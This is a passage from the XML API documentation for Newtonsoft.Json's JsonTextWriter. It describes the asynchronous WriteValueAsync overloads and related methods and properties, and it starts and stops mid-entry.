name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Boolean},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Byte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Byte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Byte[],System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Char,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Char},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.DateTime,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.DateTime},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.DateTimeOffset,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.DateTimeOffset},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Decimal,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Decimal},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Double,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Double},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Single,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Single},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Guid,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Guid},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Object\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.SByte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.SByte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.TimeSpan,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.TimeSpan},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Uri,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteCommentAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of an array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndConstructorAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a constructor.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRawValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.ArrayPool\">\n            <summary>\n            Gets or sets the writer's character array pool.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\">\n            <summary>\n            Gets or sets how many <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/>s to write for each level in the hierarchy when <see 